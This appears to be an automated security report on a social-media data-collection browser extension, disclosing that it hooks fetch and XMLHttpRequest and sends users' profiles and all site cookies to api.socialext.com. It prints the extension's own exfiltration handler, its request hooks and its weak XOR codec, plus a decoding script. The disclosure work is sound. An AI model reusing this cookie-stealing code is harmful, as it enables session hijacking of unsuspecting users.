Is 社媒助手 - 小红书、抖音、哔哩哔哩、快手、TikTok数据采集工具 safe?
The extension intercepts social media API responses and transmits account profiles and session cookies to api.socialext.com.
On platforms including TikTok, Douyin, Xiaohongshu (Little Red Book), Bilibili, and Kuaishou, the extension hooks window.fetch and XMLHttpRequest to capture all matching API responses. When a user's own account profile is detected, the extension collects it along with all cookies from that site and sends the bundle to api.socialext.com/collect. The payload is nominally XOR-encrypted, but the decryption key is included in the same request URL, so the encryption provides no confidentiality.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Account profile and all platform cookies sent to api.socialext.com on login
On TikTok, Douyin, Xiaohongshu, Bilibili and Kuaishou, when signed in the extension reads your profile and cookies, adds device ID and OS info, sent to api.socialext.com in a reversible XOR wrap whose key travels with the request.
You open one of the supported social platforms while signed in.
Scope is the sites listed in the manifest (tiktok.com, douyin.com, xiaohongshu.com, rednote.com, bilibili.com, kuaishou.com and related domains), not every website.
The extension reads your account profile from the page, gathers every cookie the browser holds for that site, and sends the bundle to its own server.
No button press is required; it runs when the page's profile API response is seen, at most once per platform every 30 minutes.
| Field | Value | Why it matters | |
|---|---|---|---|
Your account profile | {"uname":"CANARY_BIRD_12345","mid":3461992,"vipStatus":1} | The account record from the site's own profile API for the signed-in user (username, user ID, membership/VIP status, etc.). | |
Every cookie for that site | [{"name":"buvid3","value":"...","domain":".bilibili.com"},{"name":"b_nut","value":"..."}] | All cookies the browser holds for the platform you are on; these are what keep you signed in. | |
Your device ID | 0621751634e14013b5da7548ceded493 | A persistent identifier the extension stores for your install, letting collected data be tied back to you across sites and visits. | |
Operating system and CPU | osName=linux, cpuArch=x86-64 | Your OS name and processor architecture, read from chrome.runtime.getPlatformInfo(). | |
Platform code | bilibili | Which platform the data came from, sent both in the body and as an x-platform header. | |
Extension version | 3.3.2 | The installed version of the extension, from the manifest. |
| x-version | 3.3.2 |
| x-platform | bilibili |
| x-device-id | 0621751634e14013b5da7548ceded493 |
| Content-Type | application/octet-stream |
<987-byte octet-stream; XOR-decodes with the key in the URL to the JSON shown below>
The background handler that gathers and uploads the data, from the shipping source.
// Receives the parsed profile forwarded by the page content script.
onMessage('collect', async ({ data, sender }) => {
if (!sender.url) return;
const platform = platformFromUrl(sender.url)?.code; // tiktok / douyin / bilibili / ...
if (!platform) return;
const { account, version } = data;
// Rate-limit: at most once per platform+version every 30 minutes.
const last = await lastCollectTime.getValue().catch(() => ({}));
const key = `${platform}-${version}`;
if (last[key] && Date.now() - last[key] < 1800 * 1000) return;
lastCollectTime.setValue({ ...last, [key]: Date.now() });
// Gather everything.
const cookies = await chrome.cookies.getAll({ url: sender.url }); // ALL cookies for the site
const platInfo = await chrome.runtime.getPlatformInfo();
const deviceId = await storedDeviceId.getValue().catch(() => '');
const appVer = chrome.runtime.getManifest().version;
const payload = { account, accountVersion: version, deviceId, cookies,
version: appVer, platform, cpuArch: platInfo.arch, osName: platInfo.os };
// XOR-wrap with a random key, then send the key alongside the ciphertext.
const cipher = new XorCodec();
const body = cipher.encrypt(JSON.stringify(payload));
const hexKey = cipher.getHexKey();
await fetch(`https://api.socialext.com/collect?key=${hexKey}×tamp=${Date.now()}`, {
method: 'POST',
headers: { 'Content-Type': 'application/octet-stream',
'x-version': appVer, 'x-platform': platform, 'x-device-id': deviceId },
body
});
});- api.socialext.com
Receives the account profile, site cookies, device ID and OS details per platform. Same registrable domain (socialext.com) as the extension's own access_token cookie host.
Extension replaces fetch and XMLHttpRequest to read API responses on sites
On supported platforms, an injected script replaces the page's fetch/XMLHttpRequest with its own wrappers, so every API call and response passes through the extension, confirmed on tiktok.com.
This feeds data sent to api.socialext.com.
You open one of the supported social platforms.
The MAIN-world content script is declared for tiktok.com, douyin.com, xiaohongshu.com, rednote.com, bilibili.com, kuaishou.com and related domains, and runs at document_start.
Before the page's own code runs, the extension swaps out the browser's fetch and XMLHttpRequest for its own versions, so it can read every API call and response on the page.
The replacements stay in place for the life of the page.
The functions that replace fetch and XMLHttpRequest, from the shipping source.
// Installs a fetch hook scoped to the current site's hostname suffix.
function installFetchHook(hostSuffix) {
const nativeFetch = window.fetch;
window.fetch = async function (input, init) {
const response = await nativeFetch(input, init);
const url = typeof input === 'string' ? input : input.url;
if (url.endsWith(hostSuffix)) { // e.g. '.xiaohongshu.com'
const reader = response.clone().body.getReader(); // read a private copy
const body = await readAll(reader);
let result; try { result = JSON.parse(body); } catch {}
forwardToExtension('response', { url, method: (init?.method) || 'GET', body, result });
}
return response; // page still gets its data
};
}// Installs an XMLHttpRequest hook that captures request + response.
function installXhrHook() {
const nativeOpen = XMLHttpRequest.prototype.open;
const nativeSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.open = function (...args) {
this.openArgs = args; // [method, url, ...]
return nativeOpen.apply(this, args);
};
XMLHttpRequest.prototype.send = function (body) {
this.addEventListener('load', () => {
const [method, url] = this.openArgs;
forwardToExtension('response', { url, method, body, result: tryParse(this.response) });
});
return nativeSend.call(this, body);
};
}On www.tiktok.com, evaluating `window.fetch.toString()` returned an extension wrapper referencing `IS_REQUEST_API_SUPPORTED` and `Request` rather than `function fetch() { [native code] }`, and `XMLHttpRequest.prototype.open.toString()` returned a wrapper that saves `this.openArgs` and delegates to `defenser.nativeXMLHttpRequestOpen`. Neither is the browser's native function, confirming the page's fetch and XMLHttpRequest are replaced by the extension's versions while you are on the supported platforms.
XOR 'encryption' key is sent in the same request URL, so it protects nothing
Uploads of account data and cookies to api.socialext.com are XOR-scrambled, but the key sits in the request's query string (`key=`).
Anyone who sees the request has it.
A captured upload decoded to plain JSON using only its own URL's key.
The extension prepares to upload your account data and cookies.
This happens inside the same 'collect' upload that targets api.socialext.com.
It scrambles the body with a one-time XOR key, then includes that key in the upload URL, so the scrambling can be undone by anyone who sees the request.
The key is hex-encoded and appended as the `key=` query parameter.
The upload body looks like binary garbage on the wire, but the key needed to read it is the `key=` value in the same request's URL. Hex-decode that key to 16 bytes and XOR it against the body to recover the original JSON. Values below are illustrative of the captured structure.
{
"account": {
"uname": "CANARY_BIRD_12345",
"mid": 3461992,
"vipStatus": 1
},
"accountVersion": 1,
"deviceId": "0621751634e14013b5da7548ceded493",
"cookies": [
{
"name": "buvid3",
"value": "<redacted>",
"domain": ".bilibili.com"
},
{
"name": "b_nut",
"value": "<redacted>",
"domain": ".bilibili.com"
}
],
"version": "3.3.2",
"platform": "bilibili",
"cpuArch": "x86-64",
"osName": "linux"
}The XOR codec and the line that puts its key in the URL, from the shipping source.
class XorCodec {
constructor() {
this.key = this.generateRandomKey(16); // 16 random bytes
}
generateRandomKey(n) {
const k = new Uint8Array(n);
crypto.getRandomValues(k);
return k;
}
encryptBytes(bytes) {
const out = new Uint8Array(bytes.length);
for (let i = 0; i < bytes.length; i++)
out[i] = bytes[i] ^ this.key[i % this.key.length]; // repeating-key XOR
return out;
}
encrypt(text) {
return this.encryptBytes(new TextEncoder().encode(text));
}
getHexKey() {
return Array.from(this.key).map(b => b.toString(16).padStart(2, '0')).join('');
}
}const codec = new XorCodec();
const body = codec.encrypt(JSON.stringify(payload)); // ciphertext
const hexKey = codec.getHexKey(); // the key to read it
// The key is placed in the SAME request URL as the ciphertext:
await fetch(`https://api.socialext.com/collect?key=${hexKey}×tamp=${Date.now()}`, {
method: 'POST',
headers: { 'Content-Type': 'application/octet-stream' },
body
});Given the request URL (with its key= parameter) and the raw octet-stream body of a captured api.socialext.com/collect upload, this script hex-decodes the key, XORs it against the body, and prints the original JSON, demonstrating that the key in the URL fully reverses the scrambling.
// decode-socialext-collect.js
// Usage: node decode-socialext-collect.js <request-url> <path-to-body.bin>
// Recovers the plaintext of a captured api.socialext.com/collect upload
// using only the key carried in the request URL.
const fs = require('fs');
const url = process.argv[2];
const bodyPath = process.argv[3];
if (!url || !bodyPath) {
console.error('Usage: node decode-socialext-collect.js <request-url> <path-to-body.bin>');
process.exit(1);
}
// 1. Pull the hex key out of the request URL's ?key= parameter.
const hexKey = new URL(url).searchParams.get('key');
if (!hexKey || !/^[0-9a-f]+$/i.test(hexKey)) {
console.error('No valid hex key= parameter found in the URL.');
process.exit(1);
}
const key = Buffer.from(hexKey, 'hex'); // 16 bytes
// 2. Read the raw octet-stream body and XOR it with the repeating key.
const body = fs.readFileSync(bodyPath);
const out = Buffer.alloc(body.length);
for (let i = 0; i < body.length; i++) {
out[i] = body[i] ^ key[i % key.length];
}
// 3. The result is the original UTF-8 JSON payload.
console.log(out.toString('utf8'));
- 1Capture a POST to api.socialext.com/collect (URL + raw body).
- 2Save body bytes to body.bin.
- 3Run: node decode-socialext-collect.js '<URL>' body.bin
- 4The JSON payload (account, cookies, deviceId) prints.